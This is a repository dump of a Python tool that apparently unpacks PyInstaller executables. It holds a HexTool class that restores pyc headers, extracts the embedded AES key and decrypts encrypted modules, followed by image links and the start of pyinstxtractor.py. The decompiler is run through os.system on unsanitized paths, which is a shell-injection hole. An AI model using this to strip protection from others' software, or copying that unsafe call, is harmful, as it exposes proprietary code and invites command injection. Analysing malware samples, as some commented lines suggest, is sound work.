{}文件不存在".format(file)) 30 | sys.exit(0) 31 | 32 | def get_hex_header(self, struct_file): 33 | """ 34 | 获取文件头信息 35 | :param struct_file: 36 | :return: 37 | """ 38 | return self.get_file_hex(struct_file)[0:32] 39 | 40 | def make_main_pyc(self, main_file, out_main_file=""): 41 | """ 42 | 将入口文件还原为pyc文件 43 | :param main_file: 入口文件 44 | :param out_main_file: 输出文件,默认为原文件名的pyc文件 45 | :return: 46 | """ 47 | old_file_hex = self.get_file_hex(main_file) 48 | new_file_hex = self.hex_header + old_file_hex 49 | if not out_main_file: 50 | out_main_file = main_file + ".pyc" 51 | with open(out_main_file, 'wb') as f: 52 | f.write(bytes.fromhex(new_file_hex)) 53 | print("[+] {} 转换为 {}".format(main_file, out_main_file)) 54 | return out_main_file 55 | 56 | def make_package_pyc(self, package_file, out_package_file=""): 57 | """ 58 | 将依赖文件还原 59 | :param package_file: 依赖文件 60 | :param out_package_file: 61 | :return: 62 | """ 63 | old_file_hex = self.get_file_hex(package_file) 64 | new_file_hex = self.hex_header + old_file_hex[24:] 65 | if not out_package_file: 66 | out_package_file = package_file 67 | with open(out_package_file, 'wb') as f: 68 | f.write(bytes.fromhex(new_file_hex)) 69 | if package_file == out_package_file: 70 | print("[+] {} 转换完成".format(package_file)) 71 | else: 72 | print("[+] {} 转换为 {}".format(package_file, out_package_file)) 73 | return out_package_file 74 | 75 | def reverse_pyc(self, pyc_file, out_dir): 76 | """ 77 | 逆向还原pyc文件为py文件 78 | :param pyc_file: 79 | :param out_dir: 80 | :return: 81 | """ 82 | py_file = os.path.basename(os.path.splitext(pyc_file)[0]) + ".py" 83 | py_file_path = os.path.join(out_dir, py_file) 84 | # print(py_file) 85 | recode = os.system("uncompyle6 -o {} {}".format(py_file_path, pyc_file)) 86 | # print(recode, type(recode)) 87 | if recode == 0: 88 | print("[+] {} 成功还原为py文件: {}".format(pyc_file, py_file_path)) 89 | 90 | def get_encrypto_key(self, key_file): 91 | """ 92 | 获取加密的秘钥key 93 | :param key_file: pyimod00_crypto_key文件 94 | :return: 95 | """ 96 | with open(key_file, "rb") as f: 97 | file_contenet = f.read() 98 | file_contenet_hex = file_contenet.hex() 99 | # print(file_contenet) 100 | # print(file_contenet_hex) 101 | key_hex = re.findall(r"5a10(.*?)4e29", file_contenet_hex)[0] 102 | # print(key_hex) 103 | key = bytes.fromhex(key_hex).decode() 104 | return key 105 | 106 | def decrypt_package_file(self, key, encrypted_file, out_pyc_file=""): 107 | """ 108 | 根据key将加密的依赖包文件解密为pyc文件 109 | :param key: 110 | :param encrypted_file: 111 | :param out_pyc_file: 112 | :return: 113 | """ 114 | import tinyaes,zlib 115 | f = open(encrypted_file, 'rb') 116 | data = f.read() 117 | cipher = tinyaes.AES(key.encode(), data[:16]) 118 | output = cipher.CTR_xcrypt_buffer(data[16:]) 119 | f.close() 120 | output = zlib.decompress(output) 121 | if not out_pyc_file: 122 | out_pyc_file = str(encrypted_file).replace(".encrypted", "") 123 | with open(out_pyc_file, 'wb') as f: 124 | f.write(output) 125 | 126 | 127 | if __name__ == '__main__': 128 | h = HexTool("struct") 129 | # print(h.get_file_hex("struct")) 130 | # print(h.get_hex_header("struct")) 131 | # 132 | # print(h.get_file_hex("host_scan.pyc")) 133 | # print(h.get_file_hex("host_scan.pyc")[24:]) 134 | # 135 | # # print(h.make_main_pyc("worm")) 136 | # print(h.make_package_pyc("host_scan.pyc")) 137 | # print(h.reverse_pyc(r"D:\py_project\reverse_pyexe\worm.pyc", r"D:\py_project\reverse_pyexe\worm.exe_out")) 138 | # print(h.get_encrypto_key("aaaa.exe_extracted\\pyimod00_crypto_key")) 139 | print(h.make_main_pyc('guess')) -------------------------------------------------------------------------------- /media/009975bbad74b21e2b1399c8f707da2c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/009975bbad74b21e2b1399c8f707da2c.png -------------------------------------------------------------------------------- /media/02175f29a97ce1c31a649f257d3a78b9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/02175f29a97ce1c31a649f257d3a78b9.png -------------------------------------------------------------------------------- /media/076c62404f925f474a26f54dfcfda8a3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/076c62404f925f474a26f54dfcfda8a3.png -------------------------------------------------------------------------------- /media/08fc59291b8ae47f9935e70aca115a3f.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/08fc59291b8ae47f9935e70aca115a3f.png -------------------------------------------------------------------------------- /media/0953b292be2217ac44ce7cbdbb8f7273.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/0953b292be2217ac44ce7cbdbb8f7273.png -------------------------------------------------------------------------------- /media/12a4323ae1a7efd7505ccee63cd828fd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/12a4323ae1a7efd7505ccee63cd828fd.png -------------------------------------------------------------------------------- /media/13fcbc66222b6c0b0ce3d23585bcbb6a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/13fcbc66222b6c0b0ce3d23585bcbb6a.png -------------------------------------------------------------------------------- /media/14b35f5b35457f6bdc7d314e734591d7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/14b35f5b35457f6bdc7d314e734591d7.png -------------------------------------------------------------------------------- /media/14f385b6a16279abcc3ef177251a2e63.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/14f385b6a16279abcc3ef177251a2e63.png -------------------------------------------------------------------------------- /media/1b29c70a3e7560ba1d1d2bb6368ef3d5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/1b29c70a3e7560ba1d1d2bb6368ef3d5.png -------------------------------------------------------------------------------- /media/1b43048dbc42da482855d46dcae09a60.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/1b43048dbc42da482855d46dcae09a60.png -------------------------------------------------------------------------------- /media/28da467716c69c094ec4d2cefa5fc084.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/28da467716c69c094ec4d2cefa5fc084.png -------------------------------------------------------------------------------- /media/30950b4dd921d3da2b322dcf698b9879.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/30950b4dd921d3da2b322dcf698b9879.png -------------------------------------------------------------------------------- /media/3211716d20947507a69ac30ebcc5c620.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/3211716d20947507a69ac30ebcc5c620.png -------------------------------------------------------------------------------- /media/32e8d2ba633c57c047e9d0d5560826c1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/32e8d2ba633c57c047e9d0d5560826c1.png -------------------------------------------------------------------------------- /media/3d19205e1b39f0af0bfb4ddd7d12db2a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/3d19205e1b39f0af0bfb4ddd7d12db2a.png -------------------------------------------------------------------------------- /media/3feab16ca6e9c6d2995b8e57ffdcfff5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/3feab16ca6e9c6d2995b8e57ffdcfff5.png -------------------------------------------------------------------------------- /media/4538395a3dae3f176ebb2060063b40e0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/4538395a3dae3f176ebb2060063b40e0.png -------------------------------------------------------------------------------- /media/48b6a331b040165323b60a9373472af6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/48b6a331b040165323b60a9373472af6.png -------------------------------------------------------------------------------- /media/570a3e401bf46a431ee3e0a98a709130.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/570a3e401bf46a431ee3e0a98a709130.png -------------------------------------------------------------------------------- /media/5cc4aee6f39405e90e375668d3a3a821.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/5cc4aee6f39405e90e375668d3a3a821.png -------------------------------------------------------------------------------- /media/5e0b9b41781279fffb48e3e9ef49e342.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/5e0b9b41781279fffb48e3e9ef49e342.png -------------------------------------------------------------------------------- /media/5fe42b8eb3fe367174e1384548890dac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/5fe42b8eb3fe367174e1384548890dac.png -------------------------------------------------------------------------------- /media/632526168ecede2296fe0709ede568fa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/632526168ecede2296fe0709ede568fa.png -------------------------------------------------------------------------------- /media/68ca2aebf7639357b359b4eda9bd634e.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/68ca2aebf7639357b359b4eda9bd634e.png -------------------------------------------------------------------------------- /media/6922abc0e0c780e24d085e6efee68f58.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/6922abc0e0c780e24d085e6efee68f58.png -------------------------------------------------------------------------------- /media/73aa0a7f318e3b03e4633f6f0da905d1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/73aa0a7f318e3b03e4633f6f0da905d1.png -------------------------------------------------------------------------------- /media/7666f0f173f710c1f4e5f952b6ca748a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/7666f0f173f710c1f4e5f952b6ca748a.png -------------------------------------------------------------------------------- /media/7d3323b01630e6831129157499dd9fc6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/7d3323b01630e6831129157499dd9fc6.png -------------------------------------------------------------------------------- /media/7f4a9cf87cf227195ca9044636d3e124.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/7f4a9cf87cf227195ca9044636d3e124.png -------------------------------------------------------------------------------- /media/7f51efc796b56d942ed798d75b2d57ea.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/7f51efc796b56d942ed798d75b2d57ea.png -------------------------------------------------------------------------------- /media/802ab98615386b58f9392a65f27120f2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/802ab98615386b58f9392a65f27120f2.png -------------------------------------------------------------------------------- /media/8782b1583603f27abc280c43650bbbb2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/8782b1583603f27abc280c43650bbbb2.png -------------------------------------------------------------------------------- /media/8eca9f01ff7cca20455b3b4df2ec6623.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/8eca9f01ff7cca20455b3b4df2ec6623.png -------------------------------------------------------------------------------- /media/923be3d734e5ceda53809cf088e78857.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/923be3d734e5ceda53809cf088e78857.png -------------------------------------------------------------------------------- /media/94c91488ab065c05c8ad9f8af5ed6474.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/94c91488ab065c05c8ad9f8af5ed6474.png -------------------------------------------------------------------------------- /media/97ca795e3d04bf287c84df66f272b2e2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/97ca795e3d04bf287c84df66f272b2e2.png -------------------------------------------------------------------------------- /media/99bc9bca685726d263f693cca07cfd7d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/99bc9bca685726d263f693cca07cfd7d.png -------------------------------------------------------------------------------- /media/9ac93f6e401ea0f5356b7d3aeb439376.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/9ac93f6e401ea0f5356b7d3aeb439376.png -------------------------------------------------------------------------------- /media/9b94335a39f5f606dba294eb5ce7b6f5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/9b94335a39f5f606dba294eb5ce7b6f5.png -------------------------------------------------------------------------------- /media/9cfd6ff0ae1a3f27f4753ee0f2ab0d3a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/9cfd6ff0ae1a3f27f4753ee0f2ab0d3a.png -------------------------------------------------------------------------------- /media/9f99843e71a25cab7af24fc193957632.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/9f99843e71a25cab7af24fc193957632.png -------------------------------------------------------------------------------- /media/ad81fb4dcc1b6397e7231af065b6dd9c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/ad81fb4dcc1b6397e7231af065b6dd9c.png -------------------------------------------------------------------------------- /media/b1d36078ae301898ec6025fd7a92df29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/b1d36078ae301898ec6025fd7a92df29.png -------------------------------------------------------------------------------- /media/b68d9e682870aa4892eeda3dd2303ff7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/b68d9e682870aa4892eeda3dd2303ff7.png -------------------------------------------------------------------------------- /media/bbfd3d5f8d4e83cbc3712a7457b9988b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/bbfd3d5f8d4e83cbc3712a7457b9988b.png -------------------------------------------------------------------------------- /media/be947260477fdd769b43cc1e00e16992.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/be947260477fdd769b43cc1e00e16992.png -------------------------------------------------------------------------------- /media/c0ff35163a451232f7e0bf1c558ec920.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/c0ff35163a451232f7e0bf1c558ec920.png -------------------------------------------------------------------------------- /media/c55a318416e546ab08ef9ed3c526f3f4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/c55a318416e546ab08ef9ed3c526f3f4.png -------------------------------------------------------------------------------- /media/c560c8de6720cc0a0a16277a8bd40cc4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/c560c8de6720cc0a0a16277a8bd40cc4.png -------------------------------------------------------------------------------- /media/caa128c2c02568297f58f5eabfbbf17e.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/caa128c2c02568297f58f5eabfbbf17e.png -------------------------------------------------------------------------------- /media/d5f93eb38581be4487ba67b15fcbb93d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d5f93eb38581be4487ba67b15fcbb93d.png -------------------------------------------------------------------------------- /media/d70a036835c0b6cb949117fff524b144.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d70a036835c0b6cb949117fff524b144.png -------------------------------------------------------------------------------- /media/d738b179ca9621ca8abf11db2f474e0a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d738b179ca9621ca8abf11db2f474e0a.png -------------------------------------------------------------------------------- /media/d862803559c8198cb526149f3af4e093.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d862803559c8198cb526149f3af4e093.png -------------------------------------------------------------------------------- /media/d9cd3d941e18a32985c5380c1ffe2fa8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d9cd3d941e18a32985c5380c1ffe2fa8.png -------------------------------------------------------------------------------- /media/e1d66e44518cea8eb27d7937a2bef0db.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e1d66e44518cea8eb27d7937a2bef0db.png -------------------------------------------------------------------------------- /media/e25b47fa80e1db3e3190af3b0faa53e2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e25b47fa80e1db3e3190af3b0faa53e2.png -------------------------------------------------------------------------------- /media/e600329fcc00b9f166ee877bb65f8601.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e600329fcc00b9f166ee877bb65f8601.png -------------------------------------------------------------------------------- /media/e7311a5affeb5599cc5aed6697d7d7c9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e7311a5affeb5599cc5aed6697d7d7c9.png -------------------------------------------------------------------------------- /media/e76fe8cc0cd2b0a98a17d54baab61449.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e76fe8cc0cd2b0a98a17d54baab61449.png -------------------------------------------------------------------------------- /media/e87ddd85694c45cc6ebd998aee1ec219.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e87ddd85694c45cc6ebd998aee1ec219.png -------------------------------------------------------------------------------- /media/eeabe6828518c06fd75d933494d133d2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/eeabe6828518c06fd75d933494d133d2.png -------------------------------------------------------------------------------- /media/f2091f55cffc2f9b2141adfc2a31f42b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/f2091f55cffc2f9b2141adfc2a31f42b.png -------------------------------------------------------------------------------- /media/f32f18c84635aaca229b0e0be60ef284.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/f32f18c84635aaca229b0e0be60ef284.png -------------------------------------------------------------------------------- /media/f664a93eb78420b810b5c68a45a0af4f.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/f664a93eb78420b810b5c68a45a0af4f.png -------------------------------------------------------------------------------- /media/fba5f14a492c381962191ebdaedeb9cb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/fba5f14a492c381962191ebdaedeb9cb.png -------------------------------------------------------------------------------- /pyinstxtractor.py: -------------------------------------------------------------------------------- 1 | """ 2 | PyInstaller Extractor v1.9 (Supports pyinstaller 3.3, 3.2, 3.1, 3.0, 2.1, 2.0) 3 | Author : Extreme Coders 4 | E-mail : extremecoders(at)hotmail(dot)com 5 | Web : https://0xec.blogspot.com 6 | Date : 29-November-2017 7 | Url : https://sourceforge.net/projects/pyinstallerextractor/ 8 | 9 | For any suggestions, leave a comment on 10 | https://forum.tuts4you.com/topic/34455-pyinstaller-extractor/ 11 | 12 | This script extracts a pyinstaller generated executable file. 13 | Pyinstaller installation is not needed. The script has it all. 14 | 15 | For best results, it is recommended to run this script in the 16 | same version of python as was used to create the executable. 17 | This is just to prevent unmarshalling errors(if any) while 18 | extracting the PYZ archive. 19 | 20 | Usage : Just copy this script to the directory where your exe resides 21 | and run the script with the exe file name as a parameter 22 | 23 | C:\path\to\exe\>python pyinstxtractor.py 24 | $ /path/to/exe/python pyinstxtractor.py 25 | 26 | Licensed under GNU General Public License (GPL) v3. 27 | You are free to modify this source. 28 | 29 | CHANGELOG 30 | ================================================ 31 | 32 | Version 1.1 (Jan 28, 2014) 33 | ------------------------------------------------- 34 | - First Release 35 | - Supports only pyinstaller 2.0 36 | 37 | Version 1.2 (Sept 12, 2015) 38 | ------------------------------------------------- 39 | - Added support for pyinstaller 2.1 and 3.0 dev 40 | - Cleaned up code 41 | - Script is now more verbose 42 | - Executable extracted within a dedicated sub-directory 43 | 44 | (Support for pyinstaller 3.0 dev is experimental) 45 | 46 | Version 1.3 (Dec 12, 2015) 47 | ------------------------------------------------- 48 | - Added support for pyinstaller 3.0 final 49 | - Script is compatible with both python 2.x & 3.x (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG) 50 | 51 | Version 1.4 (Jan 19, 2016) 52 | ------------------------------------------------- 53 | - Fixed a bug when writing pyc files >= version 3.3 (Thanks to Daniello Alto: https://github.com/Djamana) 54 | 55 | Version 1.5 (March 1, 2016) 56 | ------------------------------------------------- 57 | - Added support for pyinstaller 3.1 (Thanks to Berwyn Hoyt for reporting) 58 | 59 | Version 1.6 (Sept 5, 2016) 60 | ------------------------------------------------- 61 | - Added support for pyinstaller 3.2 62 | - Extractor will use a random name while extracting unnamed files. 63 | - For encrypted pyz archives it will dump the contents as is. Previously, the tool would fail. 64 | 65 | Version 1.7 (March 13, 2017) 66 | ------------------------------------------------- 67 | - Made the script compatible with python 2.6 (Thanks to Ross for reporting) 68 | 69 | Version 1.8 (April 28, 2017) 70 | ------------------------------------------------- 71 | - Support for sub-directories in .pyz files (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG) 72 | 73 | Version 1.9 (November 29, 2017) 74 | ------------------------------------------------- 75 | - Added support for pyinstaller 3.3 76 | - Display the scripts which are run at entry (Thanks to Michael Gillespie @ malwarehunterteam for the feature request) 77 | 78 | """ 79 | 80 | from __future__ import print_function 81 | import os 82 | import struct 83 | import marshal 84 | import zlib 85 | import sys 86 | import imp 87 | import types 88 | from uuid import uuid4 as uniquename 89 | 90 | 91 | class CTOCEntry: 92 | def __init__(self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name): 93 | self.position = position 94 | self.cmprsdDataSize = cmprsdDataSize 95 | self.uncmprsdDataSize = uncmprsdDataSize 96 | self.cmprsFlag = cmprsFlag 97 | self.typeCmprsData = typeCmprsData 98 | self.name = name 99 | 100 | 101 | class PyInstArchive: 102 | PYINST20_COOKIE_SIZE = 24 # For pyinstaller 2.0 103 | PYINST21_COOKIE_SIZE = 24 + 64 # For pyinstaller 2.1+ 104 | MAGIC = b'MEI\014\013\012\013\016' # Magic number which identifies pyinstaller 105 | 106 | def __init__(self, path): 107 | self.filePath = path 108 | 109 | 110 | def open(self): 111 | try: 112 | self.fPtr = open(self.filePath, 'rb') 113 | self.fileSize = os.stat(self.filePath).st_size 114 | except: 115 | print('[*] Error: Could not open {0}'.format(self.filePath)) 116 | return False 117 | return True 118 | 119 | 120 | def close(self): 121 | try: 122 | self.fPtr.close() 123 | except: 124 | pass 125 | 126 | 127 | def checkFile(self): 128 | print('[*] Processing {0}'.format(self.filePath)) 129 | # Check if it is a 2.0 archive 130 | self.fPtr.seek(self.fileSize - self.PYINST20_COOKIE_SIZE, os.SEEK_SET) 131 | magicFromFile = self.fPtr.read(len(self.MAGIC)) 132 | 133 | if magicFromFile == self.MAGIC: 134 | self.pyinstVer = 20 # pyinstaller 2.0 135 | print('[*] Pyinstaller version: 2.0') 136 | return True 137 | 138 | # Check for pyinstaller 2.1+ before bailing out 139 | self.fPtr.seek(self.fileSize - self.PYINST21_COOKIE_SIZE, os.SEEK_SET) 140 | magicFromFile = self.fPtr.read(len(self.MAGIC)) 141 | 142 | if magicFromFile == self.MAGIC: 143 | print('[*] Pyinstaller version: 2.1+') 144 | self.pyinstVer = 21 # pyinstaller 2.1+ 145 | return True 146 | 147 | print('[*] Error : Unsupported pyinstaller version or not a pyinstaller archive') 148 | return False 149 | 150 | 151 | def getCArchiveInfo(self): 152 | try: 153 | if self.pyinstVer == 20: 154 | self.fPtr.seek(self.fileSize - self.PYINST20_COOKIE_SIZE, os.SEEK_SET) 155 | 156 | # Read CArchive cookie 157 | (magic, lengthofPackage, toc, tocLen, self.pyver) = \ 158 | struct.unpack('!8siiii', self.fPtr.read(self.PYINST20_COOKIE_SIZE)) 159 | 160 | elif self.pyinstVer == 21: 161 | self.fPtr.seek(self.fileSize - self.PYINST21_COOKIE_SIZE, os.SEEK_SET) 162 | 163 | # Read CArchive cookie 164 | (magic, lengthofPackage, toc, tocLen, self.pyver, pylibname) = \ 165 | struct.unpack('!8siiii64s', self.fPtr.read(self.PYINST21_COOKIE_SIZE)) 166 | 167 | except: 168 | print('[*] Error : The file is not a pyinstaller archive') 169 | return False 170 | 171 | print('[*] Python version: {0}'.format(self.pyver)) 172 | 173 | # Overlay is the data appended at the end of the PE 174 | self.overlaySize = lengthofPackage 175 | self.overlayPos = self.fileSize - self.overlaySize 176 | self.tableOfContentsPos = self.overlayPos + toc 177 | self.tableOfContentsSize = tocLen 178 | 179 | print('[*] Length of package: {0} bytes'.format(self.overlaySize)) 180 | return True 181 | 182 | 183 | def parseTOC(self): 184 | # Go to the table of contents 185 | self.fPtr.seek(self.tableOfContentsPos, os.SEEK_SET) 186 | 187 | self.tocList = [] 188 | parsedLen = 0 189 | 190 | # Parse table of contents 191 | while parsedLen < self.tableOfContentsSize: 192 | (entrySize, ) = struct.unpack('!i', self.fPtr.read(4)) 193 | nameLen = struct.calcsize('!iiiiBc') 194 | 195 | (entryPos, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name) = \ 196 | struct.unpack( \ 197 | '!iiiBc{0}s'.format(entrySize - nameLen), \ 198 | self.fPtr.read(entrySize - 4)) 199 | 200 | name = name.decode('utf-8').rstrip('\0') 201 | if len(name) == 0: 202 | name = str(uniquename()) 203 | print('[!] Warning: Found an unamed file in CArchive. Using random name {0}'.format(name)) 204 | 205 | self.tocList.append( \ 206 | CTOCEntry( \ 207 | self.overlayPos + entryPos, \ 208 | cmprsdDataSize, \ 209 | uncmprsdDataSize, \ 210 | cmprsFlag, \ 211 | typeCmprsData, \ 212 | name \ 213 | )) 214 | 215 | parsedLen += entrySize 216 | print('[*] Found {0} files in CArchive'.format(len(self.tocList))) 217 | 218 | 